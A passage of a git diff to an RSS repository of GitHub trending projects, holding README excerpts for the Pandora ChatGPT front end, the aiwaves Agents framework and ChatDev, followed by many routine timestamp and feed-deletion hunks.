alt="t4"></p> <h3>6. 手机和电脑的模型不通用,顾这个就顾不到那个,痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t7.png" alt="t7"></p> <h3>7. 蹦字慢吞吞,卡顿不流畅,不知道的甚至想换电脑。痛!</h3> <h3>8. 想把 <code>ChatGPT</code> 接到其他系统,结果只能接个差强人意的 <code>gpt-3.5-turbo</code>。痛!</h3> <h3><em>一次看完上面的噩梦,血压上来了,拳头硬了!太痛了!!!以上痛点,<code>Pandora</code> 一次全部解决。</em></h3> <h2>界面截图</h2> <details> <summary> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s05.png" alt="alt Screenshot5"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s12.jpeg" alt="alt Screenshot10"></p> </summary> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s01.png" alt="alt Screenshot1"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s02.png" alt="alt Screenshot2"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s03.png" alt="alt Screenshot3"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s04.png" alt="alt Screenshot4"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s06.png" alt="alt Screenshot6"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s11.jpeg" alt="alt Screenshot11"></p> </details> <h2>如何搭建运行</h2> <ul> <li>访问 <a href="https://github.com/zhile-io/pandora/raw/master/doc/wiki.md">doc/wiki.md</a> 获得详细指导。</li> </ul> <h2>其他说明</h2> <ul> <li><code>开源项目可以魔改,但请保留原作者信息。确需去除,请联系作者,以免失去技术支持。</code></li> <li>项目是站在其他巨人的肩膀上,感谢!</li> <li>报错、BUG之类的提出<code>Issue</code>,我会修复。</li> <li>因为之后<code>ChatGPT</code>的API变动,我可能不会跟进修复。</li> <li>喜欢的可以给颗星,都是老朋友了。</li> <li>不影响<code>PHP是世界上最好的编程语言!</code></li> </ul> <h2>贡献者们</h2> <blockquote> <p>感谢所有让这个项目变得更好的贡献者们!</p> </blockquote> <p><a href="https://github.com/zhile-io/pandora/graphs/contributors"><img src="https://contrib.rocks/image?repo=zhile-io/pandora" alt="Star History Chart"></a></p> <h2>Star历史</h2> <p><img src="https://api.star-history.com/svg?repos=zhile-io/pandora&amp;type=Date" alt="Star History Chart"></p> - - - aiwaves-cn/agents - 2023-09-24T01:45:31Z - tag:github.com,2023-09-24:/aiwaves-cn/agents - - <p>An Open-source Framework for Autonomous Language Agents</p><hr><h1><p align="center"><img src="https://raw.githubusercontent.com/aiwaves-cn/agents/master/assets/agents-logo.png" width="300"> </p></h1> <h2><p align="center" style="display:inline-block;"><font face="Calisto MT"><font size="4">An Open-source Framework for Autonomous Language Agents</font></font></p></h2> <p align="center"><a href="https://arxiv.org/pdf/2309.07870.pdf">[📄 Paper]</a> <a href="http://www.aiwaves-agents.com/">[🌐 Website]</a> <a href="https://raw.githubusercontent.com/aiwaves-cn/agents/master/#web-demos">[🤖️ Demos]</a> <a href="https://discord.gg/DDPBeFt7">[🔥 Discord]</a> <a href="https://raw.githubusercontent.com/aiwaves-cn/agents/master/assets/wechat.jpg">[🔥 Wechat Group] </a> </p> <p></p> <hr> <h2>Overview</h2> <p><strong>Agents</strong> is an open-source library/framework for building autonomous language agents. The library is carefully engineered to support important features including <strong>long-short term memory</strong>, <strong>tool usage</strong>, <strong>web navigation</strong>, <strong>multi-agent communication</strong>, and brand new features including <strong>human-agent interaction</strong> and <strong>symbolic control</strong>. With <strong>Agents</strong>, one can customize a language agent or a multi-agent system by simply filling in a config file in natural language and deploy the language agents in a terminal, a Gradio interface, or a backend service.</p> <p>One major difference between <strong>Agents</strong> and other existing frameworks for language agents is that our framework allows users to provide fine-grained control and guidance to language agents via an <strong>SOP (Standard Operation Process)</strong>. An SOP defines subgoals/subtasks for the overall task and allows users to customize a fine-grained workflow for the language agents.</p> <p align="center"><img src="https://raw.githubusercontent.com/aiwaves-cn/agents/master/assets/agents-cover.png" width="800"></p> <h2>📢 Updates</h2> <ul> <li><input type="checkbox" disabled> Support LLM-based SOP generation</li> <li><input type="checkbox" checked disabled> 2023.9.20 Deploy Demos on Huggingface Space</li> <li><input type="checkbox" checked disabled> 2023.9.12 Official Release</li> </ul> <h2>💡 Highlights</h2> <ul> <li><strong>Long-short Term Memory</strong>: Language agents in the library are equipped with both long-term memory implemented via VectorDB + Semantic Search and short-term memory (working memory) maintained and updated by an LLM.</li> <li><strong>Tool Usage</strong>: Language agents in the library can use any external tools via <a href="https://platform.openai.com/docs/guides/gpt/function-calling">function-calling</a> and developers can add customized tools/APIs <a href="https://github.com/aiwaves-cn/agents/raw/master/src/agents/Component/ToolComponent.py">here</a>.</li> <li><strong>Web Navigation</strong>: Language agents in the library can use search engines to navigate the web and get useful information.</li> <li><strong>Multi-agent Communication</strong>: In addition to single language agents, the library supports building multi-agent systems in which language agents can communicate with other language agents and the environment. Different from most existing frameworks for multi-agent systems that use pre-defined rules to control the order for agents' action, <strong>Agents</strong> includes a <em>controller</em> function that dynamically decides which agent will perform the next action using an LLM by considering the previous actions, the environment, and the target of the current states. This makes multi-agent communication more flexible.</li> <li><strong>Human-Agent interaction</strong>: In addition to letting language agents communicate with each other in an environment, our framework seamlessly supports human users to play the role of the agent by himself/herself and input his/her own actions, and interact with other language agents in the environment.</li> <li><strong>Symbolic Control</strong>: Different from existing frameworks for language agents that only use a simple task description to control the entire multi-agent system over the whole task completion process, <strong>Agents</strong> allows users to use an <strong>SOP (Standard Operation Process)</strong> that defines subgoals/subtasks for the overall task to customize fine-grained workflows for the language agents.</li> </ul> <h2>🛠 Installation</h2> <h4>Option 1. Build from source</h4> <pre><code>git clone https://github.com/aiwaves-cn/agents.git cd agents pip install -e . </code></pre> <h4>Option 2. Install via PyPI</h4> <pre><code>pip install ai-agents </code></pre> <h2>📦 Usage</h2> <h3>🛠️ Generate the config file</h3> <h4>Option 1. Fill in the config template manually</h4> <p>Modify <code>example/{Muti|Single_Agent}/{target_agent}/config.json</code></p> <h4>Option 2. Try our <a href="http://www.aiwaves.cn/create-agent/">WebUI</a> for customizing the config file.</h4> <p>Haven't figured out how to write the JSON file yet? Check out our <a href="https://agents-readthedocsio.readthedocs.io/en/latest/index.html">documentation</a>!</p> <h3>🤖️ The Agent Hub</h3> <p>We provide an <strong>AgentHub</strong>, where you can search for interesting Agents shared by us or other developers, try them out or use them as the starting point to customize your own agent. We encourage you to share your customized agents to help others build their own agents more easily! You can share your customized agents by submitting PRs that adds configs and customized codes <a href="https://github.com/aiwaves-cn/agents/tree/master/examples/Community_Agent">here</a>. You can also send us your own config files and codes for customized agents by <a href="mailto:contact@aiwaves.cn">email</a>, and we will share your examples and acknowledge your contribution in future updates!</p> <p><em>A WebUI for automatically uploading of your customized agents will be available soon!</em></p> <h2>📷 Examples and Demos</h2> <p>We have provided exemplar config files, code, and demos for both single-agent and multi-agent systems <a href="https://github.com/aiwaves-cn/agents/tree/master/examples">here</a>.</p> <h3>Web demos</h3> <h4>Note</h4> <p>1.Due to massive traffic, our online demos may suffer from long queue time and unstable issues. <strong>Please follow our <a href="https://github.com/aiwaves-cn/agents/raw/master/examples/README.md">quick start guide</a>) and deploy language agents locally for testing. Or checkout our <a href="http://www.aiwaves-agents.com/">website</a></strong>. 2.Software Company is unable to generate executable code online, <strong>if you wish to generate executable code directly, please run it locally :)</strong></p> <ul> <li><a href="https://www.aiwaves.cn/customer-service-agent/">Customer Service Agent</a></li> <li><a href="https://huggingface.co/spaces/AIWaves/Debate">Debate</a>[now on Huggingface Space]</li> <li><a href="https://huggingface.co/spaces/AIWaves/Software_Company">Software Company</a>[now on Huggingface Space]</li> <li><a href="https://www.aiwaves.cn/fiction-studio/">Fiction Studio</a></li> </ul> <h2>Contributing to Agents</h2> <p>We appreciate your interest in contributing to our open-source initiative. Please feel free to submit a PR or share your thoughts on how to improve the library in Issues!</p> <h2>Note:</h2> <ol> <li>When running the code, we will download an embedding model, which will cause the code to run slowly. We will adjust it to the API interface later</li> <li>Currently, the shopping assistant cannot be used. We will replace the API later. Stay tuned</li> </ol> <h2>📚 Documentation</h2> <p>Please check our <a href="https://agents-readthedocsio.readthedocs.io/en/latest/index.html">documentation</a> for detailed documentation of the framework.</p> <h2>⭐ Star History</h2> <p><a href="https://star-history.com/#aiwaves-cn/agents&amp;Date"><img src="https://api.star-history.com/svg?repos=aiwaves-cn/agents&amp;type=Date" alt="Star History Chart"></a></p> <h2>Citation</h2> <p>If you find our repo useful in your research, please kindly consider cite:</p> <pre><code class="language-angular2">@misc{zhou2023agents, title={Agents: An Open-source Framework for Autonomous Language Agents}, author={Wangchunshu Zhou and Yuchen Eleanor Jiang and Long Li and Jialong Wu and Tiannan Wang and Shi Qiu and Jintian Zhang and Jing Chen and Ruipu Wu and Shuai Wang and Shiding Zhu and Jiyu Chen and Wentao Zhang and Ningyu Zhang and Huajun Chen and Peng Cui and Mrinmaya Sachan}, year={2023}, eprint={2309.07870}, archivePrefix={arXiv}, primaryClass={cs.CL} } </code></pre> - - - OpenBMB/ChatDev - 2023-09-24T01:45:31Z - tag:github.com,2023-09-24:/OpenBMB/ChatDev - - <p>Create Customized Software using Natural Language Idea (through LLM-powered Multi-Agent Collaboration)</p><hr><h1>Communicative Agents for Software Development</h1> <p align="center"> <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/misc/logo1.png" width="600"> </p> <p align="center"> 【English | <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/README-Chinese.md">Chinese</a> | <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/README-Japanese.md">Japanese</a> | <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/README-Korean.md">Korean</a>】 </p> <p align="center"> 【📚 <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/wiki.md">Wiki</a> | 🚀 <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/wiki.md#local-demo">Local Demo</a> | 👥 <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/Contribution.md">Community Built Software</a> | 🔧 <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/wiki.md#customization">Customization</a>】 </p> <h2>📖 Overview</h2> <ul> <li><strong>ChatDev</strong> stands as a <strong>virtual software company</strong> that operates through various <strong>intelligent agents</strong> holding different roles, including Chief Executive Officer <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/ceo.png" height="20">, Chief Product Officer <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/cpo.png" height="20">, Chief Technology Officer <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/cto.png" height="20">, programmer <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/programmer.png" height="20">, reviewer <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/reviewer.png" height="20">, tester <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/tester.png" height="20">, art designer <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/designer.png" height="20">. These agents form a multi-agent organizational structure and are united by a mission to "revolutionize the digital world through programming." The agents within ChatDev <strong>collaborate</strong> by participating in specialized functional seminars, including tasks such as designing, coding, testing, and documenting.</li> <li>The primary objective of ChatDev is to offer an <strong>easy-to-use</strong>, <strong>highly customizable</strong> and <strong>extendable</strong> framework, which is based on large language models (LLMs) and serves as an ideal scenario for studying collective intelligence.</li> </ul> <h2>📰 News</h2> <ul> <li><strong>September 20th, 2023: The <em>Human-Agent-Interaction</em> mode is now available! You can get involved with the ChatDev team by playing the role of reviewer <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/reviewer.png" height="20"> and making suggestions to the programmer <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/programmer.png" height="20">; try <code>python3 run.py --task [description_of_your_idea] --config "Human"</code>.</strong> See <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/wiki.md#human-agent-interaction">guide</a> and <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/WareHouse/Gomoku_HumanAgentInteraction_20230920135038">example</a>. <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/misc/Human_intro.png" width="800"></li> <li>September 1st, 2023: The <em>Art</em> mode is available now! You can activate the designer agent <img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/online_log/static/figures/designer.png" height="20"> to generate images used in the software; try <code>python3 run.py --task [description_of_your_idea] --config "Art"</code>. See <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/wiki.md#art">guide</a> and <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/WareHouse/gomokugameArtExample_THUNLP_20230831122822">example</a>.</li> <li>August 28th, 2023: The system is publicly available.</li> <li>August 17th, 2023: The V1.0.0 version was ready for release.</li> <li>July 30th, 2023: Users can customize ChatChain, Phase, and Role settings. Additionally, both online Log mode and replay mode are now supported.</li> <li>July 16th, 2023: The <a href="https://arxiv.org/abs/2307.07924">preprint paper</a> associated with this project was published.</li> <li>June 30th, 2023: The initial version of the <code>ChatDev</code> repository was released.</li> </ul> <h2>❓ What Can ChatDev Do?</h2> <p><img src="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/misc/intro.png" alt="intro"></p> <p><a href="https://github.com/OpenBMB/ChatDev/assets/11889052/80d01d2f-677b-4399-ad8b-f7af9bb62b72">https://github.com/OpenBMB/ChatDev/assets/11889052/80d01d2f-677b-4399-ad8b-f7af9bb62b72</a></p> <h2>⚡️ Quickstart</h2> <p>To get started, follow these steps:</p> <ol> <li><strong>Clone the GitHub Repository:</strong> Begin by cloning the repository using the command: <pre><code>git clone https://github.com/OpenBMB/ChatDev.git </code></pre> </li> <li><strong>Set Up Python Environment:</strong> Ensure you have a version 3.9 or higher Python environment. You can create and activate this environment using the following commands, replacing <code>ChatDev_conda_env</code> with your preferred environment name: <pre><code>conda create -n ChatDev_conda_env python=3.9 -y conda activate ChatDev_conda_env </code></pre> </li> <li><strong>Install Dependencies:</strong> Move into the <code>ChatDev</code> directory and install the necessary dependencies by running: <pre><code>cd ChatDev pip3 install -r requirements.txt </code></pre> </li> <li><strong>Set OpenAI API Key:</strong> Export your OpenAI API key as an environment variable. Replace <code>"your_OpenAI_API_key"</code> with your actual API key. Remember that this environment variable is session-specific, so you need to set it again if you open a new terminal session. On Unix/Linux: <pre><code>export OPENAI_API_KEY="your_OpenAI_API_key" </code></pre> On Windows: <pre><code>$env:OPENAI_API_KEY="your_OpenAI_API_key" </code></pre> </li> <li><strong>Build Your Software:</strong> Use the following command to initiate the building of your software, replacing <code>[description_of_your_idea]</code> with your idea's description and <code>[project_name]</code> with your desired project name: On Unix/Linux: <pre><code>python3 run.py --task "[description_of_your_idea]" --name "[project_name]" </code></pre> On Windows: <pre><code>python run.py --task "[description_of_your_idea]" --name "[project_name]" </code></pre> </li> <li><strong>Run Your Software:</strong> Once generated, you can find your software in the <code>WareHouse</code> directory under a specific project folder, such as <code>project_name_DefaultOrganization_timestamp</code>. Run your software using the following command within that directory: On Unix/Linux: <pre><code>cd WareHouse/project_name_DefaultOrganization_timestamp python3 main.py </code></pre> On Windows: <pre><code>cd WareHouse/project_name_DefaultOrganization_timestamp python main.py </code></pre> </li> </ol> <h2>✨️ Advanced Skills</h2> <p>For more detailed information, please refer to our <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/wiki.md">Wiki</a>, where you can find:</p> <ul> <li>An introduction to all command run parameters.</li> <li>A straightforward guide for setting up a local web demo, which includes enhanced visualized logs, a replay demo, and a simple ChatChain Visualizer.</li> <li>An overview of the ChatDev framework.</li> <li>A comprehensive introduction to all advanced parameters in ChatChain configuration.</li> <li>Guides for customizing ChatDev, including: <ul> <li>ChatChain: Design your own software development process (or any other process), such as <code>DemandAnalysis -&gt; Coding -&gt; Testing -&gt; Manual</code>.</li> <li>Phase: Design your own phase within ChatChain, like <code>DemandAnalysis</code>.</li> <li>Role: Defining the various agents in your company, such as the <code>Chief Executive Officer</code>.</li> </ul> </li> </ul> <h2>🤗 Share Your Software!</h2> <p><strong>Code</strong>: We are enthusiastic about your interest in participating in our open-source project. If you come across any problems, don't hesitate to report them. Feel free to create a pull request if you have any inquiries or if you are prepared to share your work with us! Your contributions are highly valued. Please let me know if there's anything else you need assistance!</p> <p><strong>Company</strong>: Creating your own customized "ChatDev Company" is a breeze. This personalized setup involves three simple configuration JSON files. Check out the example provided in the <code>CompanyConfig/Default</code> directory. For detailed instructions on customization, refer to our <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/wiki.md">Wiki</a>.</p> <p><strong>Software</strong>: Whenever you develop software using ChatDev, a corresponding folder is generated containing all the essential information. Sharing your work with us is as simple as making a pull request. Here's an example: execute the command <code>python3 run.py --task "design a 2048 game" --name "2048" --org "THUNLP" --config "Default"</code>. This will create a software package and generate a folder named <code>/WareHouse/2048_THUNLP_timestamp</code>. Inside, you'll find:</p> <ul> <li>All the files and documents related to the 2048 game software</li> <li>Configuration files of the company responsible for this software, including the three JSON config files from <code>CompanyConfig/Default</code></li> <li>A comprehensive log detailing the software's building process that can be used to replay (<code>timestamp.log</code>)</li> <li>The initial prompt used to create this software (<code>2048.prompt</code>)</li> </ul> <p><strong>See community contributed software <a href="https://raw.githubusercontent.com/OpenBMB/ChatDev/main/Contribution.md">here</a>!</strong></p> <h3>Software Contributors</h3> <p><a href="https://github.com/qianc62"><img src="https://avatars.githubusercontent.com/u/48988402?v=4" alt="Contributor" style="width:5%; border-radius: 50%;"></a> <a href="https://github.com/thinkwee"><img src="https://avatars.githubusercontent.com/u/11889052?v=4" alt="Contributor" style="width:5%; border-radius: 50%;"></a> <a href="https://github.com/NA-Wen"><img src="https://avatars.githubusercontent.com/u/92134380?v=4" alt="Contributor" style="width:5%; border-radius: 50%;"></a> <a href="https://github.com/lijiahao2022"><img src="https://avatars.githubusercontent.com/u/111221887?v=4" alt="Contributor" style="width:5%; border-radius: 50%;"></a> <a href="https://github.com/GeekyWizKid"><img src="https://avatars.githubusercontent.com/u/133981481?v=4" alt="Contributor" style="width:5%; border-radius: 50%;"></a> <a href="https://github.com/Munsif-Raza-T"><img src="https://avatars.githubusercontent.com/u/76085202?v=4" alt="Contributor" style="width:5%; border-radius: 50%;"></a></p> <h2>📑 Citation</h2> <pre><code>@misc{qian2023communicative, title={Communicative Agents for Software Development}, author={Chen Qian and Xin Cong and Wei Liu and Cheng Yang and Weize Chen and Yusheng Su and Yufan Dang and Jiahao Li and Juyuan Xu and Dahai Li and Zhiyuan Liu and Maosong Sun}, year={2023}, eprint={2307.07924}, archivePrefix={arXiv}, primaryClass={cs.SE} } </code></pre> <h2>⚖️ License</h2> <ul> <li>The purpose of ChatDev is exclusively for research purposes.</li> <li>The source code is licensed under Apache 2.0.</li> <li>The datasets are licensed under CC BY NC 4.0, which allows for non-commercial use only. It is important to note that any models trained using these datasets should not be employed for purposes other than research.</li> </ul> <h2>Star History</h2> <p><a href="https://star-history.com/#openbmb/chatdev&amp;Date"><img src="https://api.star-history.com/svg?repos=openbmb/chatdev&amp;type=Date" alt="Star History Chart"></a></p> <h2>Contact</h2> <p>If you have any questions, feedback, or would like to get in touch, please feel free to reach out to us via email at <a href="mailto:chatdev.openbmb@outlook.com">chatdev.openbmb@outlook.com</a></p> - - \ No newline at end of file diff --git a/alloy/daily/index.xml b/alloy/daily/index.xml index cae3bb98861..5e56c033e60 100644 --- a/alloy/daily/index.xml +++ b/alloy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Alloy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:17Z + 2023-09-25T01:24:38Z Daily Trending of Alloy in GitHub \ No newline at end of file diff --git a/alloy/weekly/index.xml b/alloy/weekly/index.xml deleted file mode 100644 index b703fd44584..00000000000 --- a/alloy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Alloy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:55Z - Weekly Trending of Alloy in GitHub - - \ No newline at end of file diff --git a/alpine-abuild/daily/index.xml b/alpine-abuild/daily/index.xml index baac4bddff3..54dfd15158e 100644 --- a/alpine-abuild/daily/index.xml +++ b/alpine-abuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Alpine Abuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:16Z + 2023-09-25T01:24:40Z Daily Trending of Alpine Abuild in GitHub \ No newline at end of file diff --git a/alpine-abuild/weekly/index.xml b/alpine-abuild/weekly/index.xml deleted file mode 100644 index ae9a78812c7..00000000000 --- a/alpine-abuild/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Alpine Abuild Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:56Z - Weekly Trending of Alpine Abuild in GitHub - - \ No newline at end of file diff --git a/altium-designer/daily/index.xml b/altium-designer/daily/index.xml index 025b5487ea1..20d29befd88 100644 --- a/altium-designer/daily/index.xml +++ b/altium-designer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Altium Designer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:18Z + 2023-09-25T01:24:38Z Daily Trending of Altium Designer in GitHub \ No newline at end of file diff --git a/altium-designer/weekly/index.xml b/altium-designer/weekly/index.xml deleted file mode 100644 index e6447e57b61..00000000000 --- a/altium-designer/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Altium Designer Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:54Z - Weekly Trending of Altium Designer in GitHub - - \ No newline at end of file diff --git a/ampl/daily/index.xml b/ampl/daily/index.xml index ab59556190f..b9935d82c5f 100644 --- a/ampl/daily/index.xml +++ b/ampl/daily/index.xml @@ -1,7 +1,7 @@ GitHub AMPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:23Z + 2023-09-25T01:24:41Z Daily Trending of AMPL in GitHub \ No newline at end of file diff --git a/ampl/weekly/index.xml b/ampl/weekly/index.xml deleted file mode 100644 index f5f41bc4a75..00000000000 --- a/ampl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AMPL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:59Z - Weekly Trending of AMPL in GitHub - - \ No newline at end of file diff --git a/angelscript/daily/index.xml b/angelscript/daily/index.xml index 3d211c4a1bb..b2c0b8c4182 100644 --- a/angelscript/daily/index.xml +++ b/angelscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub AngelScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:21Z + 2023-09-25T01:24:42Z Daily Trending of AngelScript in GitHub \ No newline at end of file diff --git a/angelscript/weekly/index.xml b/angelscript/weekly/index.xml deleted file mode 100644 index 3c0ebb0b4c0..00000000000 --- a/angelscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub AngelScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:45:57Z - Weekly Trending of AngelScript in GitHub - - \ No newline at end of file diff --git a/ant-build-system/daily/index.xml b/ant-build-system/daily/index.xml index 878db2d1332..fdfee9871c4 100644 --- a/ant-build-system/daily/index.xml +++ b/ant-build-system/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ant Build System Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:20Z + 2023-09-25T01:24:44Z Daily Trending of Ant Build System in GitHub \ No newline at end of file diff --git a/ant-build-system/weekly/index.xml b/ant-build-system/weekly/index.xml deleted file mode 100644 index be5feb960f6..00000000000 --- a/ant-build-system/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ant Build System Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:00Z - Weekly Trending of Ant Build System in GitHub - - \ No newline at end of file diff --git a/antlr/daily/index.xml b/antlr/daily/index.xml index ff38ad7c113..3421fdcdfd4 100644 --- a/antlr/daily/index.xml +++ b/antlr/daily/index.xml @@ -1,7 +1,7 @@ GitHub ANTLR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:27Z + 2023-09-25T01:24:48Z Daily Trending of ANTLR in GitHub \ No newline at end of file diff --git a/antlr/weekly/index.xml b/antlr/weekly/index.xml deleted file mode 100644 index 7cde2ad5fe2..00000000000 --- a/antlr/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ANTLR Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:04Z - Weekly Trending of ANTLR in GitHub - - \ No newline at end of file diff --git a/apacheconf/daily/index.xml b/apacheconf/daily/index.xml index ec2a1fe26ca..8bbb1daf97c 100644 --- a/apacheconf/daily/index.xml +++ b/apacheconf/daily/index.xml @@ -1,7 +1,7 @@ GitHub ApacheConf Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:24Z + 2023-09-25T01:24:46Z Daily Trending of ApacheConf in GitHub \ No newline at end of file diff --git a/apacheconf/weekly/index.xml b/apacheconf/weekly/index.xml deleted file mode 100644 index dc3d0f3d708..00000000000 --- a/apacheconf/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ApacheConf Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:02Z - Weekly Trending of ApacheConf in GitHub - - \ No newline at end of file diff --git a/apex/daily/index.xml b/apex/daily/index.xml index 183a128afce..ceacf6f92c1 100644 --- a/apex/daily/index.xml +++ b/apex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Apex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:26Z + 2023-09-25T01:24:47Z Daily Trending of Apex in GitHub \ No newline at end of file diff --git a/apex/weekly/index.xml b/apex/weekly/index.xml deleted file mode 100644 index 4024eda229a..00000000000 --- a/apex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Apex Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:03Z - Weekly Trending of Apex in GitHub - - \ No newline at end of file diff --git a/api-blueprint/daily/index.xml b/api-blueprint/daily/index.xml index afc12cd8afa..b26aa778cfc 100644 --- a/api-blueprint/daily/index.xml +++ b/api-blueprint/daily/index.xml @@ -1,7 +1,7 @@ GitHub API Blueprint Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:25Z + 2023-09-25T01:24:45Z Daily Trending of API Blueprint in GitHub \ No newline at end of file diff --git a/api-blueprint/weekly/index.xml b/api-blueprint/weekly/index.xml deleted file mode 100644 index ba8ae3255df..00000000000 --- a/api-blueprint/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub API Blueprint Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:01Z - Weekly Trending of API Blueprint in GitHub - - \ No newline at end of file diff --git a/apl/daily/index.xml b/apl/daily/index.xml index 3a3680e8131..7a8aa81a27c 100644 --- a/apl/daily/index.xml +++ b/apl/daily/index.xml @@ -1,7 +1,7 @@ GitHub APL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:28Z + 2023-09-25T01:24:52Z Daily Trending of APL in GitHub \ No newline at end of file diff --git a/apl/weekly/index.xml b/apl/weekly/index.xml deleted file mode 100644 index 459c839d506..00000000000 --- a/apl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub APL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:06Z - Weekly Trending of APL in GitHub - - \ No newline at end of file diff --git a/apollo-guidance-computer/daily/index.xml b/apollo-guidance-computer/daily/index.xml index f297c42a19f..a3b3826a7f0 100644 --- a/apollo-guidance-computer/daily/index.xml +++ b/apollo-guidance-computer/daily/index.xml @@ -1,7 +1,7 @@ GitHub Apollo Guidance Computer Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:30Z + 2023-09-25T01:24:50Z Daily Trending of Apollo Guidance Computer in GitHub \ No newline at end of file diff --git a/apollo-guidance-computer/weekly/index.xml b/apollo-guidance-computer/weekly/index.xml deleted file mode 100644 index ff0fdd71731..00000000000 --- a/apollo-guidance-computer/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Apollo Guidance Computer Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:46:05Z - Weekly Trending of Apollo Guidance Computer in GitHub - - \ No newline at end of file diff --git a/applescript/daily/index.xml b/applescript/daily/index.xml index d795cf22b20..42019b8c901 100644 --- a/applescript/daily/index.xml +++ b/applescript/daily/index.xml @@ -1,7 +1,14 @@ GitHub AppleScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:26:29Z + 2023-09-25T01:24:52Z Daily Trending of AppleScript in GitHub + + djl/astro + 2023-09-25T01:24:52Z + tag:github.com,2023-09-25:/djl/astro + + <p>Applescripts that resize windows</p><hr><h2>astro</h2> <p><strong>A</strong>pple<strong>s</strong>cripts <strong>T</strong>hat <strong>R</strong>esize wind<strong>o</strong>ws.</p> + \ No newline at end of file diff --git a/applescript/weekly/index.xml b/applescript/weekly/index.xml deleted file mode 100644 index 7cc60fd47c5..00000000000 --- a/applescript/weekly/index.xml +++ /dev/null @@ -1,7 